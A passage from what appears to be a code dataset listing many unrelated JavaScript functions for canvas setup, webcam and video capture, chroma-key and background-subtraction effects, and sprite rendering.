'));\\n });\\n if (dev) {\\n log_d(\\\"Using video capture device: \\\" + JSON.stringify(devs[dev]));\\n window.configuredDevice = dev;\\n service.setVideoCaptureDevice(CDO.createResponder(startLocalPreview), dev);\\n } else {\\n log_e(\\\"None video capture devices installed.\\\");\\n }\\n };\\n log_d(\\\"Getting video capture devices\\\");\\n service.getVideoCaptureDeviceNames(CDO.createResponder(setVideoDev));\\n\\n}\",\n \"function demo(vid) {\\n\\tvar video = vid;\\n\\tvar demo = this;\\n\\tvar width = 640, height = 480;//can also use video.offsetHeight/video.offsetWidth but the value seems to change once the video actually starts.\\n\\tvar el = document.getElementById('demo-content');\\n\\t\\n\\tvar gui = new dat.GUI({ autoPlace: false });\\n\\tel.appendChild(gui.domElement);\\n\\t\\n\\tvar videoImageContext;\\n\\t\\n\\t//public variables:\\n\\tthis.mode = \\\"chromaKey\\\";\\n\\tgui.add(this, \\\"mode\\\", [\\\"Chroma Key\\\", \\\"Subtraction\\\", \\\"Fancy Method\\\"]);\\n\\t\\n\\tthis.bg_snapshot = function(){\\n\\t\\tsnapshot();\\n\\t}\\n\\tgui.add(this, \\\"bg_snapshot\\\");\\n\\n\\tinit();\\n\\t\\n\\tfunction init() {\\n\\t\\tvideoImage = document.createElement( 'canvas' );\\n\\t\\tvideoImage.width = width;\\n\\t\\tvideoImage.height = height;\\n\\t\\tel.appendChild( videoImage );\\n\\t\\t\\n\\t\\tvideoImageContext = videoImage.getContext( '2d' );\\n\\t\\tvideoImageContext.scale(-1, 1);\\n\\t\\tanimate();\\n\\t}\\n\\t\\n\\tfunction animate(){\\n\\t\\trequestAnimationFrame( animate );\\n\\t\\trender();\\n\\t}\\n\\t\\n\\tfunction drawImage(){\\n\\t\\t//mirror the image using scale(-1, 1)\\n\\t\\tvideoImageContext.drawImage(video, -width, 0, width, height);\\n\\t\\t//videoImageContext.drawImage(video, 0, 0, width, height); //original method\\n\\t}\\n\\t\\n\\tfunction render(){\\n\\t\\tif (video.readyState === video.HAVE_ENOUGH_DATA ){\\n\\t\\t\\tdrawImage();\\n\\t\\t\\tswitch (this.mode){\\n\\t\\t\\t\\tcase 'Chroma Key':\\n\\t\\t\\t\\t\\tchromaKey();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase 'Subtraction':\\n\\t\\t\\t\\t\\tsubtraction();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase 'Fancy Method':\\n\\t\\t\\t\\t\\tfancy();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tdefault:\\n\\t\\t\\t\\t\\tchromaKey();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\t\\n\\tvar color_ratio = 2.5, threshold = 40;\\n\\tfunction chromaKey() {\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\tvar l = frame.data.length / 4;\\n\\t\\t\\n\\t\\tfor (var i = 0; i < l; i++) {\\n\\t\\t\\tvar pos = i*4;\\n\\t\\t\\tvar r = frame.data[pos + 0];\\n\\t\\t\\tvar g = frame.data[pos + 1];\\n\\t\\t\\tvar b = frame.data[pos + 2];\\n\\t\\t\\tif (b>r && b>g && (b>r*color_ratio || b>g*color_ratio) && b > threshold){\\n\\t\\t\\t\\tframe.data[pos + 0] = 255;\\n\\t\\t\\t\\tframe.data[pos + 1] = 255;\\n\\t\\t\\t\\tframe.data[pos + 2] = 255;\\n\\t\\t\\t\\tframe.data[pos + 3] = 0;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t//renderer.clear();\\n\\t\\tvideoImageContext.putImageData(frame, 0, 0);\\n\\t\\t//videoImageContext.clearRect(0,0,50,50);\\n\\t}\\n\\t\\n\\tvar old_data = [], index = 0, buffer_length = 5, std_cutoff = 40;\\n\\tfunction fancy() {\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\told_data[index] = new Uint8ClampedArray(frame.data);\\n\\t\\t\\n\\t\\tvar current_buffer_size = old_data.length;\\n\\t\\tvar l = frame.data.length / 4;\\n\\t\\tfor (var i = 0; i < l; i++) {\\n\\t\\t\\tvar pos = i*4, mean = 0;\\n\\t\\t\\tfor (var j = 0; j < current_buffer_size; j++)\\n\\t\\t\\t\\tmean += (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\\n\\t\\t\\tmean /= buffer_length;\\n\\t\\t\\t\\n\\t\\t\\tvar std = 0;\\n\\t\\t\\tfor (var j = 0; j < current_buffer_size; j++) {\\n\\t\\t\\t\\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\\n\\t\\t\\t\\tstd += Math.pow(color_avg - mean, 2);\\n\\t\\t\\t}\\n\\t\\t\\tstd = Math.sqrt(std);\\n\\t\\t\\t//console.log('std: ', std);\\n\\t\\t\\t\\n\\t\\t\\tif (std < std_cutoff){\\n\\t\\t\\t\\t//frame.data[pos + 0] = 255;\\n\\t\\t\\t\\t//frame.data[pos + 1] = 255;\\n\\t\\t\\t\\t//frame.data[pos + 2] = 255;\\n\\t\\t\\t\\tframe.data[pos + 3] = 0;\\n\\t\\t\\t}\\n\\t\\t\\t//frame.data[pos + 3] = Math.exp(std);\\n\\t\\t}\\n\\t\\t//renderer.clear();\\n\\t\\tvideoImageContext.putImageData(frame, 0, 0);\\n\\t\\t//videoImageContext.clearRect(0,0,50,50);\\n\\t\\tindex = (index+1)%buffer_length;\\n\\t\\t//console.log('index: ', index);\\n\\t}\\n\\t\\n\\tvar snapshot_data;\\n\\tfunction snapshot(){\\n\\t\\tdrawImage();\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\tsnapshot_data = new Uint8ClampedArray(frame.data);\\n\\t}\\n\\t\\n\\tvar first = true, difference_threshold = 20, frame_length=0;\\n\\tfunction subtraction() {\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\tif (first) {\\n\\t\\t\\tsnapshot();\\n\\t\\t\\tfirst = false;\\n\\t\\t\\tframe_length = frame.data.length / 4;\\n\\t\\t}\\n\\t\\tfor (var i = 0; i < frame_length; i++) {\\n\\t\\t\\tvar pos = i*4, r = pos, g = pos+1, b = pos+2;\\n\\t\\t\\t\\n\\t\\t\\tvar difference = Math.sqrt((Math.pow(frame.data[r]-snapshot_data[r], 2) + Math.pow(frame.data[g]-snapshot_data[g], 2) + Math.pow(frame.data[b]-snapshot_data[b], 2))/3);\\n\\t\\t\\tif (difference < difference_threshold) {\\n\\t\\t\\t\\tframe.data[pos + 3] = 0;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tvideoImageContext.putImageData(frame, 0, 0);\\n\\t}\\n\\t\\n\\t//var bin_images = [], bin_counts = [], total_bins = 5, curr_bins = 0, frame_length = 0;\\n\\t//function subtraction() {\\n\\t// var frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t// if (curr_bins < bins) {\\n\\t//\\t\\tbin_images[curr_bins] = new Uint8ClampedArray(frame.data);\\n\\t//\\t\\tcurr_bins++;\\n\\t//\\t\\tframe_length = frame.data.length / 4;\\n\\t//\\t}\\n\\t// for (var i = 0; i < frame_length; i++) {\\n\\t//\\t\\tvar pos = i*4, best_bin = 0, r = pos, g = pos+1, b = pos+2;\\n\\t//\\t\\t\\n\\t//\\t\\tvar min_idx = 0, min_val = -1;\\n\\t//\\t\\tfor (var j = 0; j < curr_bins; j++){\\n\\t//\\t\\t\\tvar data = possible_backgrounds[j];\\n\\t//\\t\\t\\tvar difference = Math.sqrt((Math.pow(frame.data[r]-data[r], 2) + Math.pow(frame.data[g]-data[g], 2) + Math.pow(frame.data[b]-data[b], 2))/3);\\n\\t//\\t\\t\\tif (difference < max_val || min_val == -1) {\\n\\t//\\t\\t\\t\\tmax_val = difference;\\n\\t//\\t\\t\\t\\tmin_idx = j;\\n\\t//\\t\\t\\t}\\n\\t//\\t\\t}\\n\\t//\\t\\t\\n\\t//\\t\\t\\n\\t//\\t\\tvar std = 0;\\n\\t//\\t\\tfor (var j = 0; j < buffer_length; j++) {\\n\\t//\\t\\t\\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\\n\\t//\\t\\t\\tstd += Math.pow(color_avg - mean, 2);\\n\\t//\\t\\t}\\n\\t//\\t\\tstd = Math.sqrt(std);\\n\\t//\\t\\t//console.log('std: ', std);\\n\\t//\\t\\t\\n\\t// if (std < std_cutoff){\\n\\t// //frame.data[pos + 0] = 255;\\n\\t// //frame.data[pos + 1] = 255;\\n\\t// //frame.data[pos + 2] = 255;\\n\\t// frame.data[pos + 3] = 0;\\n\\t// }\\n\\t//\\t\\t//frame.data[pos + 3] = Math.exp(std);\\n\\t// }\\n\\t// //renderer.clear();\\n\\t// videoImageContext.putImageData(frame, 0, 0);\\n\\t// //videoImageContext.clearRect(0,0,50,50);\\n\\t//\\tindex = (index+1)%buffer_length;\\n\\t//\\t//console.log('index: ', index);\\n\\t//}\\n}\",\n \"function canvasInit() {\\n var canvas = document.getElementById(\\\"canvas\\\");\\n if (canvas.getContext) {\\n var ctx = canvas.getContext(\\\"2d\\\");\\n ctx.fillStyle = '#444';\\n ctx.font = '28px Arial';\\n wrapText(ctx, \\\"← Start by entering a jsonline.com url on the left.\\\", 100, 25, 700, 50);\\n step = 0;\\n }\\n}\",\n \"function initEditorCanvas() {\\n let canvas = document.getElementById('editorCanvas');\\n // Resize the canvas.\\n canvas.width = EDITOR_SCALE * CHR_WIDTH;\\n canvas.height = EDITOR_SCALE * CHR_HEIGHT;\\n\\n let ctx = cmn.getContext2DNA(canvas);\\n ctx.imageSmoothingEnabled = false;\\n ctx.scale(EDITOR_SCALE, EDITOR_SCALE);\\n\\n // Canvas is white by default.\\n ctx.fillStyle = 'black';\\n ctx.fillRect(0, 0, CHR_WIDTH, CHR_HEIGHT);\\n\\n canvas.addEventListener('mousedown', function (me) { _mouseDown = true; onMouseMove(me); });\\n canvas.addEventListener('mousemove', onMouseMove);\\n canvas.addEventListener('mouseup', function (me) { _mouseDown = false; });\\n canvas.addEventListener('mouseleave', function (me) { _mouseDown = false; });\\n}\",\n \"function init() {\\n canvas = document.getElementById('can');\\n ctx = canvas.getContext(\\\"2d\\\");\\n}\",\n \"function init() {\\n // Put event listeners into place\\n // Notice that in this specific case handlers are loaded on the onload event\\n window.addEventListener('DOMContentLoaded', function() {\\n // Grab elements, create settings, etc.\\n var canvas = document.getElementById('canvas');\\n var context = canvas.getContext('2d');\\n var video = document.getElementById('video');\\n var mediaConfig = {\\n video: true,\\n };\\n var errBack = function(e) {\\n console.log('An error has occurred!', e);\\n };\\n\\n // Put video listeners into place\\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\\n navigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\\n video.srcObject = stream;\\n video.onloadedmetadata = function(e) {\\n video.play();\\n };\\n });\\n }\\n\\n // Trigger photo take\\n document.getElementById('snap').addEventListener('click', function() {\\n context.drawImage(video, 0, 0, 640, 480);\\n state.photoSnapped = true; // photo has been taken\\n });\\n\\n // Trigger when upload button is pressed\\n document.getElementById('upload').addEventListener('click', uploadImage);\\n\\n document.getElementById('search').addEventListener('click',searchPhoto);\\n\\n }, false);\\n\\n }\",\n \"function main()\\n{\\n\\t//Function to execute when a canvas is created:\\n\\tvar canvasLoaded = 0;\\n\\tvar onLoadCanvas = function()\\n\\t{\\n\\t\\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\\\"Canvas '\\\" + this.getId() + \\\"' loaded! Mode used: \\\" + this.getMode()); }\\n\\n\\t\\tcanvasLoaded++;\\n\\n\\t\\t//Gets the \\\"context\\\" object to start working with the canvas:\\n\\t\\tvar canvasContext = this.getContext();\\n\\t\\tif (!canvasContext) { CB_console(\\\"ERROR: canvas context could not be obtained! Drawing cannot be performed.\\\"); return; }\\n\\n\\t\\t//Stores the canvas in the 'canvases' object:\\n\\t\\tcanvases[this.getId()] = this;\\n\\n\\t\\t//If both canvas (normal and buffer) have been created, proceeds with the rendering:\\n\\t\\tif (canvasLoaded >= 2)\\n\\t\\t{\\n\\t\\t\\t//When the screen changes its size or its orientation, both canvases will be re-adapted:\\n\\t\\t\\tvar onResizeOrChangeOrientationTimeout = null;\\n\\t\\t\\tvar onResizeOrChangeOrientation = function()\\n\\t\\t\\t{\\n\\t\\t\\t\\tclearTimeout(onResizeOrChangeOrientationTimeout);\\n\\t\\t\\t\\tonResizeOrChangeOrientationTimeout = setTimeout //NOTE: needs a delay as some clients on iOS update the screen size information in two or more steps (last step is the correct value).\\n\\t\\t\\t\\t(\\n\\t\\t\\t\\t\\tfunction()\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t//Resizes the canvas:\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas\\\"].setWidth(CB_Screen.getWindowWidth());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas\\\"].setHeight(CB_Screen.getWindowHeight());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas\\\"].clear(); canvases[\\\"my_canvas\\\"].disableAntiAliasing();\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t//Resizes the buffer canvas:\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].setWidth(CB_Screen.getWindowWidth());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].setHeight(CB_Screen.getWindowHeight());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].clear();\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].disableAntiAliasing();\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t);\\n\\t\\t\\t};\\n\\t\\t\\tCB_Screen.onResize(onResizeOrChangeOrientation);\\n\\n\\t\\t\\t//Clears both canvas:\\n\\t\\t\\tcanvases[\\\"my_canvas\\\"].clear();\\n\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].clear();\\n\\t\\t\\t\\n\\t\\t\\t//Disables anti-aliasing to avoid problems with adjacent sprites:\\n\\t\\t\\tcanvases[\\\"my_canvas\\\"].disableAntiAliasing();\\n\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].disableAntiAliasing();\\n\\t\\t\\t\\n\\t\\t\\t//Creates the sprites groups:\\n\\t\\t\\tvar graphicSpritesSceneObject = createSpritesGroups();\\n\\n\\t\\t\\t//Caches all needed images (performance purposes) and starts rendering sprites groups when all are loaded:\\n\\t\\t\\tmyREM = new CB_REM();\\n\\t\\t\\tmyREM.cacheImages\\n\\t\\t\\t(\\n\\t\\t\\t\\tgraphicSpritesSceneObject, //CB_GraphicSpritesSceneObject.\\n\\t\\t\\t\\tundefined, //reload.\\n\\t\\t\\t\\tfunction(imagesLoaded) //onLoad.\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t//Sets the current time as the start time to start counting the FPS (erased each second automatically):\\n\\t\\t\\t\\t\\tmyREM._startTimeFPS = CB_Device.getTiming();\\n\\n\\t\\t\\t\\t\\t//Show the FPS (Frames Per Second) every time there is a new value:\\n\\t\\t\\t\\t\\tmyREM.onUpdatedFPS(function(FPS) { graphicSpritesSceneObject.getById(\\\"fps_group\\\").getById(\\\"fps\\\").src = \\\"FPS: \\\" + FPS; });\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t//Processes the sprites groups:\\n\\t\\t\\t\\t\\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\\\"Starts processing graphic sprites scene ('CB_GraphicSpritesScene' object) constantly...\\\"); }\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tprocessSpritesGroups(graphicSpritesSceneObject, canvases[\\\"my_canvas\\\"], canvases[\\\"my_canvas\\\"].getContext(), canvases[\\\"my_canvas_buffer\\\"], canvases[\\\"my_canvas_buffer\\\"].getContext());\\n\\t\\t\\t\\t}\\n\\t\\t\\t);\\n\\t\\t}\\n\\t};\\n\\t\\n\\t//Creates the canvases:\\n\\tvar canvases = {};\\n\\tcanvases[\\\"my_canvas\\\"] = new CB_Canvas\\n\\t(\\n\\t\\t\\\"my_canvas\\\", //canvasId. Unique required parameter.\\n\\t\\t\\\"2d\\\", //contextType. NOTE: some emulation methods only support \\\"2d\\\". Default: \\\"2d\\\".\\n\\t\\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\\n\\t\\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\\n\\t\\tonLoadCanvas, //onLoad.\\n\\t\\tfunction(error) { CB_console(\\\"Canvas object problem! Error: \\\" + error); }, //onError.\\n\\t\\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\\n\\t);\\n\\tcanvases[\\\"my_canvas_buffer\\\"] = new CB_Canvas\\n\\t(\\n\\t\\t\\\"my_canvas_buffer\\\", //canvasId. Unique required parameter.\\n\\t\\t\\\"2d\\\", //contextType. NOTE: some emulation methods only support \\\"2d\\\". Default: \\\"2d\\\".\\n\\t\\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\\n\\t\\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\\n\\t\\tonLoadCanvas, //onLoad.\\n\\t\\tfunction(error) { CB_console(\\\"Canvas object problem! Error: \\\" + error); }, //onError.\\n\\t\\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\\n\\t);\\n}\",\n \"function initializeCanvas() {\\n\\tcanvas = document.getElementById(\\\"canvas\\\");\\n\\tctx = canvas.getContext(\\\"2d\\\");\\n}\",\n \"init() {\\n const canvas = document.createElement('canvas');\\n\\n canvas.style.display = 'none';\\n canvas.style.position = 'fixed';\\n canvas.style.top = '0px';\\n canvas.style.left = '0px';\\n canvas.style.zIndex = '1000000';\\n this.canvas = canvas;\\n\\n this.context = canvas.getContext('2d');\\n\\n document.body.appendChild(canvas);\\n\\n window.addEventListener('resize', (event) => this.resize());\\n\\n // UI events\\n window.addEventListener('mousemove', (event) => this.mouseMove(event));\\n window.addEventListener('mouseup', (event) => this.mouseUp(event));\\n window.addEventListener('mousedown', (event) => this.mouseDown(event));\\n window.addEventListener('keydown', (event) => this.keyDown(event));\\n\\n this.resize();\\n }\",\n \"function Init() {\\r\\n // Get context handles\\r\\n CanvasHandle = document.getElementById(\\\"canvas\\\");\\r\\n ContextHandle = CanvasHandle.getContext(\\\"2d\\\");\\r\\n CanvasWidth = ContextHandle.canvas.clientWidth;\\r\\n CanvasHeight = ContextHandle.canvas.clientHeight;\\r\\n\\r\\n // Create an image backbuffer\\r\\n BackCanvasHandle = document.createElement(\\\"canvas\\\");\\r\\n BackContextHandle = BackCanvasHandle.getContext(\\\"2d\\\");\\r\\n BackCanvasHandle.width = CanvasWidth;\\r\\n BackCanvasHandle.height = CanvasHeight;\\r\\n\\r\\n // Set line style\\r\\n BackContextHandle.lineCap = \\\"butt\\\";\\r\\n BackContextHandle.lineJoin = \\\"round\\\";\\r\\n BackContextHandle.strokeStyle = \\\"rgb(255, 255, 255)\\\";\\r\\n\\r\\n // Get the canvas center\\r\\n CenterX = CanvasWidth / 2;\\r\\n CenterY = CanvasHeight / 2;\\r\\n Camera = {x:0, y:0, r:20};\\r\\n}\",\n \"function init() {\\n redrawTIAIndicator = true;\\n usePhosphor = false;\\n phosphorBlendPercent = JsVideoConsts.DEFAULT_PHOSPHOR_BLEND;\\n\\n // Allocate buffers for two frame buffers\\n jsvideo.currentFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\\n previousFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\\n initBackBuffer(JsVideoConsts.DEFAULT_WIDTH, JsVideoConsts.DEFAULT_HEIGHT);\\n initPalettes();\\n loadImages();\\n jsvideo.initialize();\\n }\",\n \"function video() {\\n\\t\\t$('#wrapper').fitVids();\\n\\t}\",\n \"function paintToCanvas() {\\n // first we need the width and height\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n // make sure now that the canvas is the same size as the video before we paint into it\\n canvas.width = width;\\n canvas.height = height;\\n\\n // now ever x seconds we're going to snap a picture\\n setInterval(() => {\\n ctx.drawImage(video, 0, 0, width, height); // paint with the video, starting at the left top of the canvas, with the width and height specified above;\\n // take the pixels out\\n let pixels = ctx.getImageData(0, 0, width, height); // we get an array of millions of pixel values with each one it's own color value\\n // messing with the pixels\\n //pixels = redEffect(pixels); // the function redEffect is all the way down below\\n pixels = rgbSplit(pixels); // I'm choosing to play with this one instead of the two other functions\\n ctx.globalAlpha = 0.8;\\n //pixels = greenScreen(pixels);\\n // putting the pixels back back\\n ctx.putImageData(pixels, 0, 0);\\n }, 16); // here every 16 milliseconds a picture is taken from the video\\n}\",\n \"function initCanvas() {\\n if(isDebugged) {\\n debug.style.display = \\\"block\\\";\\n } else {\\n debug.style.display = \\\"none\\\";\\n }\\n\\n console.log(\\\"initializing canvas\\\");\\n\\n //var canvasElement = document.querySelector(\\\"#canvas\\\");\\n canvas = new fabric.Canvas(\\\"canvas\\\",{\\n selection: false,\\n height: canvas_initial_height,\\n width: canvas_initial_width,\\n backgroundColor: canvas_background_color\\n });\\n\\n //canvas.isDrawingMode = true;\\n\\n canvas.on(\\\"mouse:down\\\", onMouseDownCanvas);\\n\\n canvas.on(\\\"mouse:up\\\", onMouseUpCanvas);\\n\\n canvas.on(\\\"mouse:move\\\", onMouseMoveCanvas);\\n\\n //updateAndSyncCanvasSize(canvas_initial_width, canvas_initial_height);\\n}\",\n \"function setupMedia() {\\n if (supportsMedia()) {\\n audioContext = new AudioContext();\\n\\n navigator.getUserMedia(\\n {\\n video: false,\\n audio: true\\n },\\n function (localMediaStream) {\\n // map the camera\\n var video = document.getElementById('live_video');\\n video.src = window.URL.createObjectURL(localMediaStream);\\n\\n // create the canvas & get a 2d context\\n videoCanvas = document.createElement('canvas');\\n videoContext = videoCanvas.getContext('2d');\\n\\n // setup audio recorder\\n var audioInput = audioContext.createMediaStreamSource(localMediaStream);\\n //audioInput.connect(audioContext.destination);\\n // had to replace the above with the following to mute playback\\n // (so you don't get feedback)\\n var audioGain = audioContext.createGain();\\n audioGain.gain.value = 0;\\n audioInput.connect(audioGain);\\n audioGain.connect(audioContext.destination);\\n\\n audioRecorder = new Recorder(audioInput);\\n mediaStream = localMediaStream;\\n mediaInitialized = true;\\n\\n document.getElementById('uploading').hidden = true;\\n document.getElementById('media-error').hidden = true;\\n document.getElementById('record').hidden = false;\\n },\\n function (e) {\\n console.log('web-cam & microphone not initialized: ', e);\\n document.getElementById('media-error').hidden = false;\\n }\\n );\\n }\\n}\",\n \"function init(){\\n W = canvas.width = window.innerWidth;\\n H = canvas.height = window.innerHeight;\\n\\n // getting all the frames into the array of frames\\n loadFrames();\\n // creating the origin object\\n origin = new Origin();\\n}\",\n \"function setUpCanvas() {\\n /* clearing up the screen */\\n clear();\\n /* Set display size (vw/vh). */\\n var sizeWidth = (80 * window.innerWidth) / 100,\\n sizeHeight = window.innerHeight;\\n //Setting the canvas site and width to be responsive\\n upperLayer.width = sizeWidth;\\n upperLayer.height = sizeHeight;\\n upperLayer.style.width = sizeWidth;\\n upperLayer.style.height = sizeHeight;\\n lowerLayer.width = sizeWidth;\\n lowerLayer.height = sizeHeight;\\n lowerLayer.style.width = sizeWidth;\\n lowerLayer.style.height = sizeHeight;\\n rect = upperLayer.getBoundingClientRect();\\n}\",\n \"function setup() {\\n createCanvas(640, 480);\\n\\n video = createCapture(VIDEO);\\n video.size(width, height);\\n\\n // Create a new poseNet method with a single detection\\n poseNet = ml5.poseNet(video, modelReady);\\n // This sets up an event that fills the global variable \\\"poses\\\"\\n // with an array every time new poses are detected\\n poseNet.on('pose', function(results) {\\n poses = results;\\n debugger;\\n });\\n // Hide the video element, and just show the canvas\\n video.hide();\\n}\",\n \"function initVideo(){\\n\\t\\t//fit all videos in their parent container\\n\\t\\tjQuery(\\\".scalevid\\\").fitVids();\\n\\t}\",\n \"function initCanvasAndEditor() {\\n // Editor\\n initEditor();\\n\\n // Canvas\\n canvasResizer();\\n renderCanvas();\\n\\n // Listeners\\n addListeners();\\n}\",\n \"run() {\\n requestAnimationFrame(() => {\\n this.runFrame();\\n });\\n\\n this.output.video.run();\\n\\n this.running = true;\\n this.paused = false;\\n }\",\n \"function init() \\n {\\n\\t\\t\\n\\t\\t// initialize variables\\n\\t\\tvideo = document.getElementById(\\\"video1\\\");\\n\\t\\tcanvas = document.getElementById(\\\"canvas\\\");\\n\\t\\ttime_slider = document.getElementById(\\\"time_slider\\\");\\n label_CurrenFrame = document.getElementById(\\\"currentFrameTime\\\");\\n label_VideoLength = document.getElementById(\\\"videoLength\\\");\\n\\t\\tprevious_frame = document.getElementById(\\\"previousFrame\\\");\\n\\t\\tnext_frame = document.getElementById(\\\"nextFrame\\\");\\n\\t\\tcontainer = document.getElementById(\\\"container\\\");\\n\\t\\tcreate_sum = document.getElementById(\\\"submit\\\");\\n\\t\\t\\n //initialize events\\n\\t\\tcanvas.addEventListener(\\\"click\\\", saveFrame, false);\\n\\t\\tcanvas.addEventListener(\\\"mousemove\\\", mouseMove, false);\\n\\t\\ttime_slider.addEventListener(\\\"change\\\", UpdateFrame, false);\\n\\t\\ttime_slider.addEventListener(\\\"input\\\", UpdateFrame, false);\\n\\t\\t\\n\\t\\tdocument.getElementById('files').addEventListener('change', FileChosen);\\n\\t\\tdocument.getElementById('UploadButton').addEventListener('click', StartUpload); \\n\\t\\t\\n video.addEventListener('loadeddata', function () {\\n label_CurrenFrame.innerHTML = secondsToTimeString(video.currentTime);\\n label_VideoLength.innerHTML = secondsToTimeString(video.duration);\\n });\\n \\n\\t\\tprevious_frame.addEventListener('click', \\n\\t\\tfunction() {\\n\\t\\t\\tif (actual_frame === null) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (isUndefined(actual_frame)) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (actual_frame.second <= 0) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tvar value = Math.floor((actual_frame.second - 1) * 100 / video.duration);\\n\\t\\t\\tif (value >= 0 && value <= 100) {\\n\\t\\t\\t\\tactual_frame.second--;\\n\\t\\t\\t\\ttime_slider.value = value;\\n\\t\\t\\t\\tdrawFrame(actual_frame);\\n\\t\\t\\t}\\n\\t\\t},\\n\\t\\tfalse);\\n\\t\\t\\n\\t\\tnext_frame.addEventListener('click', \\n\\t\\tfunction() {\\n\\t\\t\\tif (actual_frame === null) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (video === null) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (isUndefined(actual_frame) || isUndefined(video) || isUndefined(video.duration)) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tif (actual_frame.second >= video.duration) {\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\tvar value = Math.floor((actual_frame.second + 1) * 100 / video.duration);\\n\\t\\t\\tif (value >= 0 && value <= 100) {\\n\\t\\t\\t\\tactual_frame.second++;\\n\\t\\t\\t\\ttime_slider.value = value;\\n\\t\\t\\t\\tdrawFrame(actual_frame);\\n\\t\\t\\t}\\n\\t\\t},\\n\\t\\tfalse);\\n\\t\\t\\n\\t\\tdocument.getElementById('submit').addEventListener('click', \\n\\t\\tfunction() {\\n\\t\\t\\tupdateDescriptions();\\n\\t\\t\\tvar result = combineSegments();\\n\\t\\t\\tconsole.log(result);\\n\\t\\t\\t// send result to server!\\n \\t\\t\\tsocket.emit('ffmpeg', { 'Name' : SelectedFile.name, 'Data' : result });\\n\\t\\t\\tdocument.getElementById(\\\"create_progress\\\").innerHTML='Creating summary... 0%';\\n \\n\\t\\t\\tResetSegments();\\n\\t\\t},\\n\\t\\tfalse);\\n\\t\\t\\n\\t\\t// initialize player\\n\\t\\tinitPlayer();\\n\\t\\n\\t}\",\n \"function initialize() {\\n // will create HTML5 video element in staging area if not present\\n getDOMVideo();\\n isInitialized = true;\\n }\",\n \"async function setupWebcam() {\\n if (navigator.mediaDevices.getUserMedia) {\\n const stream = await navigator.mediaDevices.getUserMedia({\\n \\\"audio\\\": false,\\n \\\"video\\\": {\\n width: {\\n min: 640,\\n max: 640\\n },\\n height: {\\n min: 480,\\n max: 480\\n }\\n }\\n });\\n\\n webcam.srcObject = stream;\\n\\n return new Promise((resolve) => {\\n webcam.onloadedmetadata = () => {\\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\\n\\n canvasDims = [canvas.height, canvas.width];\\n\\n resolve(webcam);\\n };\\n });\\n }\\n}\",\n \"function drawFrameOnCanvas(frame) {\\n\\t\\n\\t\\tvar reset = frame.reset;\\n\\t\\n canvas.height = video.videoHeight;\\n canvas.width = video.videoWidth;\\n\\t\\t// 